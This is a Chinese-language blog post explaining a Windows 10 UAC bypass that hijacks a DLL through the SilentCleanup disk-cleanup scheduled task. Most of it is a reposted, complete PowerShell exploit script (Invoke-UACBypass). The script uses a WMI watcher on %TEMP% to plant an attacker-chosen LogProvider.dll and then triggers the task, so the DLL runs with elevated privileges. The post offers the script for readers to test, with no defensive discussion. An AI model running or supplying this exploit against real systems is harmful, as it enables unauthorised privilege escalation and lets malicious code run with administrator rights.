BypassUac On Win10 Using Disk Cleanup

最近看到enigma0x3博客上分享了一种通过Disk Cleanup计划任务进行bypassuac的姿势,感觉还是不错的,所以在这儿分享一下。原文在这里 戳我
关于BypassUAC工具已经很多了,有个非常不错的工具 UACME

简单的说一下通过Disk Cleanup进行bypassuac的原理。

Win10有一个计划任务叫做SilentCleanup,具体位置在\Microsoft\Windows\DiskCleanup

这个计划任务是会使用最高权限运行程序的,而加载此计划任务不需要最高权限。

此任务执行会运行cleanmgr.exe,而且会创建一个新的文件夹“C:\Users\<username>\AppData\Local\Temp\<GUID>”并将dismhost.exe以及其使用的相关DLL文件复制到这个文件夹下面。

当dismhost.exe运行时,会加载其要使用的DLL文件,由于当前目录是在%TEMP%,所以完全可以进行DLL劫持,测试发现LogProvider.dll是最后一个加载的DLL,可以被我们利用,所以只需要把这个DLL替换成我们的恶意DLL,那么这个计划任务运行的时候,我们的DLL就会被加载,达到BypassUAC的目的。为了能马上进行BypassUAC,可以使用WMI来运行这个计划任务。作者已经给出了利用脚本,链接 BypassUAC , 测试DLL链接:MessageBox

有兴趣的测测看吧~

作者代码被墙了,贴在了下面:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
function Invoke-UACBypass {
<#
.SYNOPSIS
Bypasses UAC on Windows 10 by abusing the SilentCleanup task to win a race condition, allowing for a DLL hijack without a privileged file copy.
Author: Matthew Graeber (@mattifestation), Matt Nelson (@enigma0x3)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.PARAMETER DllPath
Specifies the path to the DLL you want executed in a high integrity context. Be mindful of the architecture of the DLL. It must match that of %SystemRoot%\System32\Dism\LogProvider.dll.
.EXAMPLE
Invoke-UACBypass -DllPath C:\Users\TestUser\Desktop\Win10UACBypass\PrivescTest.dll
.EXAMPLE
Invoke-UACBypass -DllPath C:\Users\TestUser\Desktop\TotallyLegit.txt -Verbose
The DllPath can have any extension as long as the file itself is a DLL.
#>
[CmdletBinding()]
[OutputType([System.IO.FileInfo])]
Param (
[Parameter(Mandatory = $True)]
[String]
[ValidateScript({ Test-Path $_ })]
$DllPath
)
$PrivescAction = {
$ReplacementDllPath = $Event.MessageData.DllPath
# The newly created GUID folder
$DismHostFolder = $EventArgs.NewEvent.TargetInstance.Name

$OriginalPreference = $VerbosePreference
# Force -Verbose to display in the event
if ($Event.MessageData.VerboseSet -eq $True) {
$VerbosePreference = 'Continue'
}
Write-Verbose "DismHost folder created in $DismHostFolder"
Write-Verbose "$ReplacementDllPath to $DismHostFolder\LogProvider.dll"

try {
$FileInfo = Copy-Item -Path $ReplacementDllPath -Destination "$DismHostFolder\LogProvider.dll" -Force -PassThru -ErrorAction Stop
} catch {
Write-Warning "Error copying file! Message: $_"
}
# Restore the event preference
$VerbosePreference = $OriginalPreference
if ($FileInfo) {
# Trigger Wait-Event to return and indicate success.
New-Event -SourceIdentifier 'DllPlantedSuccess' -MessageData $FileInfo
}
}
$VerboseSet = $False
if ($PSBoundParameters['Verbose']) { $VerboseSet = $True }
$MessageData = New-Object -TypeName PSObject -Property @{
DllPath = $DllPath
VerboseSet = $VerboseSet # Pass the verbose preference to the scriptblock since
# event scriptblocks will not automatically honor -Verbose.
}
$TempDrive = $Env:TEMP.Substring(0,2)
# Trigger the DLL dropper with the following conditions:
# 1) A directory is created - i.e. new Win32_Directory instance
# 2) The directory created is created under %TEMP%
# 3) The directory name is in the form of a GUID
$TempFolderCreationEvent = "SELECT * FROM __InstanceCreationEvent WITHIN 1 WHERE TargetInstance ISA `"Win32_Directory`" AND TargetInstance.Drive = `"$TempDrive`" AND TargetInstance.Path = `"$($Env:TEMP.Substring(2).Replace('\', '\\'))\\`" AND TargetInstance.FileName LIKE `"________-____-____-____-____________`""

$TempFolderWatcher = Register-WmiEvent -Query $TempFolderCreationEvent -Action $PrivescAction -MessageData $MessageData
# We need to jump through these hoops to properly capture stdout and stderr of schtasks.
$StartInfo = New-Object Diagnostics.ProcessStartInfo
$StartInfo.FileName = 'schtasks'
$StartInfo.Arguments = '/Run /TN "\Microsoft\Windows\DiskCleanup\SilentCleanup" /I'
$StartInfo.RedirectStandardError = $True
$StartInfo.RedirectStandardOutput = $True
$StartInfo.UseShellExecute = $False
$Process = New-Object Diagnostics.Process
$Process.StartInfo = $StartInfo
$null = $Process.Start()
$Process.WaitForExit()
$Stdout = $Process.StandardOutput.ReadToEnd().Trim()
$Stderr = $Process.StandardError.ReadToEnd().Trim()
if ($Stderr) {
Unregister-Event -SubscriptionId $TempFolderWatcher.Id
throw "SilentCleanup task failed to execute. Error message: $Stderr"
} else {
if ($Stdout.Contains('is currently running')) {
Unregister-Event -SubscriptionId $TempFolderWatcher.Id
Write-Warning 'SilentCleanup task is already running. Please wait until the task has completed.'
}
Write-Verbose "SilentCleanup task executed successfully. Message: $Stdout"
}
$PayloadExecutedEvent = Wait-Event -SourceIdentifier 'DllPlantedSuccess' -Timeout 10
Unregister-Event -SubscriptionId $TempFolderWatcher.Id
if ($PayloadExecutedEvent) {
Write-Verbose 'UAC bypass was successful!'
# Output the file info for the DLL that was planted
$PayloadExecutedEvent.MessageData
$PayloadExecutedEvent | Remove-Event
} else {
# The event timed out.
Write-Error 'UAC bypass failed. The DLL was not planted in its target.'
}
}

------本文结束,感谢阅读------